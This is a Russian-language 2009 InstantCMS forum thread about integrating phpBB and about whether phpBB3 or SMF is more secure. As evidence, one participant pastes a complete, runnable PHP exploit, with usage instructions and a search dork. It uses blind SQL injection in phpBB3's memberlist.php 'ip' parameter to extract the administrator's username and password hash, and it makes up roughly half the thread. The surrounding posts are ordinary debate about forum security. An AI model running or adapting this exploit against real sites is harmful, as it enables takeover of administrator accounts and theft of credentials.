Интеграция с Форумом phpBB

возможно или нет

 
Sometime CMS Community
Посетитель
no avatar
Сообщений: 27
Пошарился по форуму, видел похожую тему, но решения там так и не предоставили. Поэтому поднимаю ее снова.

Так вот в чем вопрос. Возможно ли интегрировать форум phpBB к InstantCMS.

Заранее благодарен.
Посетитель
small user social cms
МедальКубок зрительских симпатий
Сообщений: 330
OxoTniK:
Возможно ли интегрировать форум phpBB к InstantCMS
Буквально на днях обещали выложить тестовую версию форума с множеством функций, специально написанного для Инстанта. Так что ждать осталось совсем чуть-чуть.
Что касается интеграции со сторонними форумами, безуспешные попытки были, но удовлетворительных результатов никто не получил.
Реклама
cms
Sometime CMS Community
Посетитель
no avatar
Сообщений: 34
А что вы подразумеваете под интеграцией? Общая регистрация, общий вход, единый профиль? Да и зачем интеграция с самым дырявым форумом? Если уж не хватает возможностей встроенного, то уж лучше присмотритесь к SMF
Sometime CMS Community
Посетитель
no avatar
Медаль
Сообщений: 504
OxoTniK:
Возможно ли интегрировать форум phpBB к InstantCMS.
На сегодня ни интеграторов ни конвертеров нет.

- Возможно ли сделать?
- Может кому-то и удастся, но задача не простая. Дело в том что третий phpbb изменил формат хранения паролей и теперь он отличается от инстантовского формата.

Mobman:
Да и зачем интеграция с самым дырявым форумом? Если уж не хватает возможностей встроенного, то уж лучше присмотритесь к SMF
Очень спорное утверждение. Не так давно был взломан форум сообщества Ubuntu.ru на SMF, а также множество других менее популярных.

На SimpleMachines в этом году находили множество уязвимостей
про phpbb3 такого неслыхал.11
Редактировалось: 1 раз (Последний: 28 июня 2009 в 22:20)
Sometime CMS Community
Посетитель
no avatar
Медаль
Сообщений: 304
СергейР:

Так что ждать осталось совсем чуть-чуть.

пока DeFFuZer В отпуску, ждать форума не имеет смысла
Sometime CMS Community
Посетитель
no avatar
Сообщений: 34
Maximov, я об этом знаю. И насколько мне известно, эта дыра в безопасности уже пофиксена, кроме того этого всего ли ж RC.
Ну, а уязвимости PhpBB 3 их много, разработчики будто их игнорируют. Можете здесь почитать antichat.ru
Кроме того, в стандартной сборке нету быстрого ответа и это при нынешнем развитии web-индустрии? Неужели так сложно было сделать? А ставить моды, которые к слову и есть самые уязвимые места этого движка, нет уж.
Посетитель
small user social cms
Медаль
Сообщений: 763
а какая версия smf на сегодняшний момент наиболее пригодна для установки на сайт?
Sometime CMS Community
Посетитель
no avatar
Медаль
Сообщений: 504
Mobman:
...кроме того этого всего ли ж RC.
Уязвимости были подвержены все версии форума, включая на тот момент последнюю - стабильную версию 1.1.8.
Что в общем-то и послужило причиной выпуска 1.1.9
Mobman:
Ну, а уязвимости PhpBB 3 их много, разработчики будто их игнорируют. Можете здесь почитать antichat.ru
Дайте пожалуйста ссылку на описание (либо упоминание),
уязвимостей движка phpbb3, особенно интересуют игнорируемые

Виктор, 1.1.9 - последняя стабильная. Двоечку ставить пока не рекомендуется.
Sometime CMS Community
Посетитель
no avatar
Сообщений: 71
Maximov, На счет смф Вы не правы...форум был взломан после появления 2.0 версии...релиз был неустоявшимся. Отсюда и найдены были дыри, над которыми программеры трудились и днем и ночью...заделаны они были я бы сказал моментально. Сейчас попробуйте ка взломать его. Со стороны обычного юзера могу сказать что смф в разы удобнее.

Вот вы пиняете что форум взломали зарелизенный, а теперь вспомните релиз 1.5 инстанта...тут вообще вплоть до самых элементарных ощибок доходило из-за невнимательности...а Вы говорите что убунтовский форум взломали, поэтому не знаю не знаю что тут и сказать Вам - думаю все и так понятно...

beekeeper +1
Я слышу это завтра уже с месяц...по сути я уже и с инстанта то ушел пока прождал 1.5 и форум (кстати последнее так и не дождался, хотя помощь предлагал в разработке...)
Люди! Хватит обещать....вот сделаете и выкладывайте...а то получается что весь форум "завтраками" кормите месяцы...куда это годится?
Редактировалось: 2 раз (Последний: 30 июня 2009 в 10:39)
Sometime CMS Community
Посетитель
no avatar
Медаль
Сообщений: 504
KirA3342:
Maximov, На счет смф Вы не правы...форум был взломан после появления 2.0 версии...релиз был неустоявшимся. Отсюда и найдены были дыри, над которыми программеры трудились и днем и ночью...заделаны они были я бы сказал моментально.
Я не утверждал до или после чего был взлом, я указал версии подверженные взлому: 1.1.x вплоть до 1.1.8

Пользователи обнаружили взлом 1 мая обновление вышло 21 мая.
О моментальности судите сами.

Я ничего не имею против этого движка, и считаю что интеграция с ним (впрочем, как и с другими) будет полезна InstantCMS

Но после того как некий krisbarteo сделал из кучи SMF-форумов бот-сеть
а заплатка вышла спустя 20 дней после обнаружения.
Заявление некоторых товарищей, мол, phpbb3 самый дырявый,
а вот SMF нет, меня, мягкоговоря, удивляют.
Sometime CMS Community
Посетитель
no avatar
Медаль
Сообщений: 101
Заявление некоторых товарищей, мол, phpbb3 самый дырявый, а вот SMF нет, меня, мягкоговоря, удивляют.
Ога, согласен, прикручивал я как-то phpbb3 к движку, дак ваще замучался, там такая авторизация хитро замученная, что ппц! =)
Хотя, конечно судить сильно не могу - кто безопаснее, не особо работал я с форумами )
Sometime CMS Community
Посетитель
no avatar
Медаль
Сообщений: 332
ну на данный момент вроде как уже не сама мудрая авторизация у phpbb3. Хотелось бы просто уточнить какую интеграцию хотелось бы иметь ? bridge?
Sometime CMS Community
Посетитель
no avatar
Сообщений: 34
Но после того как некий krisbarteo сделал из кучи SMF-форумов бот-сеть
а заплатка вышла спустя 20 дней после обнаружения.
Заявление некоторых товарищей, мол, phpbb3 самый дырявый,
а вот SMF нет, меня, мягкоговоря, удивляют.

phpBB 3 (memberlist.php) Remote SQL Injection Exploit
Код PHP:
  1.  
  2. #!/usr/bin/php -q -d short_open_tag=on
  3. <?
  4. echo "PhpBB 3 memberlist.php/'ip' argument SQL injection / admin credentials disclosuren";
  5. echo "by rgod [email protected]";
  6. echo "site: http://retrogod.altervista.orgn";
  7. echo "dork, version specific: "Powered by phpBB * 2002, 2006 phpBB Group"nn";
  8.  
  9. /*
  10. works regardless of php.ini settings
  11. you need a global moderator account with "simple moderator" role
  12. */
  13.  
  14. if ($argc<5) {
  15. echo "Usage: php ".$argv[0]." host path user pass OPTIONSn";
  16. echo "host: target server (ip/hostname)n";
  17. echo "path: path to phpbb3n";
  18. echo "user/pass: u need a valid user account with global moderator rightsn";
  19. echo "Options:n";
  20. echo " -T[prefix] specify a table prefix different from default (phpbb_)n";
  21. echo " -p[port]: specify a port other than 80n";
  22. echo " -P[ip:port]: specify a proxyn";
  23. echo " -u[number]: specify a user id other than 2 (admin)n";
  24. echo " -x: disclose table prefix through error messagesn";
  25. echo "Example:rn";
  26. echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-urn";
  27. echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u -TPHPBB_ -u7n";
  28. die;
  29. }
  30.  
  31. ini_set("max_execution_time",0);
  32. ini_set("default_socket_timeout",5);
  33.  
  34. function quick_dump($string)
  35. {
  36. $result='';$exa='';$cont=0;
  37. for ($i=0; $i<=strlen($string)-1; $i++)
  38. {
  39. if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
  40. {$result.=" .";}
  41. else
  42. {$result.=" ".$string[$i];}
  43. if (strlen(dechex(ord($string[$i])))==2)
  44. {$exa.=" ".dechex(ord($string[$i]));}
  45. else
  46. {$exa.=" 0".dechex(ord($string[$i]));}
  47. $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
  48. }
  49. return $exa."rn".$result;
  50. }
  51. $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
  52. function sendpacketii($packet)
  53. {
  54. global $proxy, $host, $port, $html, $proxy_regex;
  55. if ($proxy=='') {
  56. $ock=fsockopen(gethostbyname($host),$port);
  57. if (!$ock) {
  58. echo 'No response from '.$host.':'.$port; die;
  59. }
  60. }
  61. else {
  62. $c = preg_match($proxy_regex,$proxy);
  63. if (!$c) {
  64. echo 'Not a valid proxy...';die;
  65. }
  66. $parts=explode(':',$proxy);
  67. echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
  68. $ock=fsockopen($parts[0],$parts[1]);
  69. if (!$ock) {
  70. echo 'No response from proxy...';die;
  71. }
  72. }
  73. fputs($ock,$packet);
  74. if ($proxy=='') {
  75. $html='';
  76. while (!feof($ock)) {
  77. $html.=fgets($ock);
  78. }
  79. }
  80. else {
  81. $html='';
  82. while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
  83. $html.=fread($ock,1);
  84. }
  85. }
  86. fclose($ock);
  87. #debug
  88. #echo "rn".$html;
  89. }
  90.  
  91. $host=$argv[1];
  92. $path=$argv[2];
  93. $user=$argv[3];
  94. $pass=$argv[4];
  95. $port=80;
  96. $prefix="PHPBB_";
  97. $user_id="2";//admin
  98. $discl=0;
  99. $proxy="";
  100. for ($i=3; $i<=$argc-1; $i++){
  101. $temp=$argv[$i][0].$argv[$i][1];
  102. if ($temp=="-p")
  103. {
  104. $port=str_replace("-p","",$argv[$i]);
  105. }
  106. if ($temp=="-P")
  107. {
  108. $proxy=str_replace("-P","",$argv[$i]);
  109. }
  110. if ($temp=="-T")
  111. {
  112. $prefix=str_replace("-T","",$argv[$i]);
  113. }
  114. if ($temp=="-u")
  115. {
  116. $user_id=str_replace("-u","",$argv[$i]);
  117. }
  118. if ($temp=="-x")
  119. {
  120. $discl=1;
  121. }
  122. }
  123.  
  124. if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
  125. if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  126.  
  127. $data="username=".urlencode($user);
  128. $data.="&password=".urlencode($pass);
  129. $data.="&redirect=index.php";
  130. $data.="&login=Login";
  131. $packet="POST ".$p."ucp.php?mode=login HTTP/1.0rn";
  132. $packet.="Referer: http://$host$path/ucp.php?mode=loginrn";
  133. $packet.="Content-Type: application/x-www-form-urlencodedrn";
  134. $packet.="Accept-Encoding: text/plainrn";
  135. $packet.="Host: ".$host."rn";
  136. $packet.="Content-Length: ".strlen($data)."rn";
  137. $packet.="Connection: Closernrn";
  138. $packet.=$data;
  139. sendpacketii($packet);
  140. $cookie="";
  141. $temp=explode("Set-Cookie: ",$html);
  142. for ($i=1; $i<=count($temp)-1; $i++)
  143. {
  144. $temp2=explode(" ",$temp[$i]);
  145. $cookie.=" ".$temp2[0];
  146. }
  147. if (eregi("_u=1;",$cookie))
  148. {
  149. //echo $html."n";//debug
  150. //die("Unable to login...");
  151. }
  152. echo "cookie -> ".$cookie."rn";
  153. if ($discl)
  154. {
  155. $sql="'suntzuuuuu";
  156. echo "sql -> ".$sql."n";
  157. $sql=urlencode(strtoupper($sql));
  158. $data="username=";
  159. $data.="&icq=";
  160. $data.="&email=";
  161. $data.="&aim=";
  162. $data.="&joined_select=lt";
  163. $data.="&joined=";
  164. $data.="&yahoo=";
  165. $data.="&active_select=lt";
  166. $data.="&active=";
  167. $data.="&msn=";
  168. $data.="&count_select=eq";
  169. $data.="&count=";
  170. $data.="&jabber=";
  171. $data.="&sk=c";
  172. $data.="&sd=a";
  173. $data.="&ip=".$sql;
  174. $data.="&search_group_id=0";
  175. $data.="&submit=Search";
  176. $packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0rn";
  177. $packet.="Content-Type: application/x-www-form-urlencodedrn";
  178. $packet.="Host: ".$host."rn";
  179. $packet.="Content-Length: ".strlen($data)."rn";
  180. $packet.="Connection: Closern";
  181. $packet.="Cookie: ".$cookie." rnrn";
  182. $packet.=$data;
  183. sendpacketii($packet);
  184. if (strstr($html,"You have an error in your SQL syntax"))
  185. {
  186. $temp=explode("posts",$html);
  187. $temp2=explode(" ",$temp[0]);
  188. $prefix=strtoupper($temp2[count($temp2)-1]);
  189. echo "prefix -> ".$prefix."n";sleep(2);
  190. }
  191. }
  192.  
  193. $md5s[0]=0;//null
  194. $md5s=array_merge($md5s,range(48,57)); //numbers
  195. $md5s=array_merge($md5s,range(97,102));//a-f letters
  196. //print_r(array_values($md5s));
  197. $j=1;$password="";
  198. while (!strstr($password,chr(0)))
  199. {
  200. for ($i=0; $i<=255; $i++)
  201. {
  202. if (in_array($i,$md5s))
  203. {
  204. $sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USER_PASSWORD,".$j.",1))=$i),$user_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999";
  205. echo "sql -> ".$sql."n";
  206. $sql=urlencode(strtoupper($sql));
  207. $data="username=";
  208. $data.="&icq=";
  209. $data.="&email=";
  210. $data.="&aim=";
  211. $data.="&joined_select=lt";
  212. $data.="&joined=";
  213. $data.="&yahoo=";
  214. $data.="&active_select=lt";
  215. $data.="&active=";
  216. $data.="&msn=";
  217. $data.="&count_select=eq";
  218. $data.="&count=";
  219. $data.="&jabber=";
  220. $data.="&sk=c";
  221. $data.="&sd=a";
  222. $data.="&ip=".$sql;
  223. $data.="&search_group_id=0";
  224. $data.="&submit=Search";
  225. $packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0rn";
  226. $packet.="Content-Type: application/x-www-form-urlencodedrn";
  227. $packet.="Host: ".$host."rn";
  228. $packet.="Content-Length: ".strlen($data)."rn";
  229. $packet.="Connection: Closern";
  230. $packet.="Cookie: ".$cookie." rnrn";
  231. $packet.=$data;
  232. sendpacketii($packet);
  233. if (!strstr($html,"No members found for this search criteria")) {$password.=chr($i);echo "password -> ".$password."[???]rn";sleep(2);break;}
  234. }
  235. if ($i==255) {die("Exploit failed...");}
  236. }
  237. $j++;
  238. }
  239.  
  240. $j=1;$admin="";
  241. while (!strstr($admin,chr(0)))
  242. {
  243. for ($i=0; $i<=255; $i++)
  244. {
  245. $sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USERNAME,".$j.",1))=$i),$user_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999";
  246. echo "sql -> ".$sql."n";
  247. $sql=urlencode(strtoupper($sql));
  248. $data="username=";
  249. $data.="&icq=";
  250. $data.="&email=";
  251. $data.="&aim=";
  252. $data.="&joined_select=lt";
  253. $data.="&joined=";
  254. $data.="&yahoo=";
  255. $data.="&active_select=lt";
  256. $data.="&active=";
  257. $data.="&msn=";
  258. $data.="&count_select=eq";
  259. $data.="&count=";
  260. $data.="&jabber=";
  261. $data.="&sk=c";
  262. $data.="&sd=a";
  263. $data.="&ip=".$sql;
  264. $data.="&search_group_id=0";
  265. $data.="&submit=Search";
  266. $packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0rn";
  267. $packet.="Content-Type: application/x-www-form-urlencodedrn";
  268. $packet.="Host: ".$host."rn";
  269. $packet.="Content-Length: ".strlen($data)."rn";
  270. $packet.="Connection: Closern";
  271. $packet.="Cookie: ".$cookie." rnrn";
  272. $packet.=$data;
  273. sendpacketii($packet);
  274. if (!strstr($html,"No members found for this search criteria")) {$admin.=chr($i);echo "password -> ".$admin."[???]rn";sleep(2);break;}
  275. }
  276. if ($i==255) {die("Exploit failed...");}
  277. $j++;
  278. }
  279. echo "--------------------------------------------------------------------rn";
  280. echo "admin -> ".$admin."rn";
  281. echo "password (md5) -> ".$password."rn";
  282. echo "--------------------------------------------------------------------rn";
  283.  
  284. function is_hash($hash)
  285. {
  286. if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
  287. else {return false;}
  288. }
  289.  
  290. if (is_hash($password)) {echo "Exploit succeeded...";}
  291. else {echo "Exploit failed...";}
  292. ?>
  293.  
Да хотя бы вот.
Кстати только недавно в февраля был взломан ОФИЦИАЛЬНЫЙ САЙТ PhpBB. И хакер получил 20000 паролей юзеров, ну и само собой полный доступ.
Был ли взлом официального сайта SMF? (я такого не замечал).

Я не говорю, что SMF абсолютно безопасен, это утверждать глупо! Так как даже вобла и IPB имеют свои дыры, да и вообще абсолютно все можно сломать при очень большой нужде и соответствующих знаний. Но что по безопасности SMF лучше - я так считаю.
Sometime CMS Community
Посетитель
no avatar
Сообщений: 34
Ну и самое, пагубное, что я вижу здесь, так это то, что PhpBB настолько распространен, что именно к нему и пытаются больше всего подкопаться, поэтому даже, если на самом деле он и лучше написан с точки безопасности, все равно вреалии он оказывается более легким для взлома.. Сугубо мое ИМХО
Sometime CMS Community
Посетитель
no avatar
Медаль
Сообщений: 504
Mobman:
...Да хотя бы вот.
Я говорил про современные реалии. Вот мол в прошлом месяце была найдена серьезная уязвимость благодаря которой многие сайты были взломаны. Привел ссылки на обсуждения на офсайтах. В ответ же получил сплоит 2007 года. (((
В начало страницы
Предыдущая темаСледующая тема Перейти на форум:
Быстрый ответ
Чтобы писать на форуме, зарегистрируйтесь или авторизуйтесь.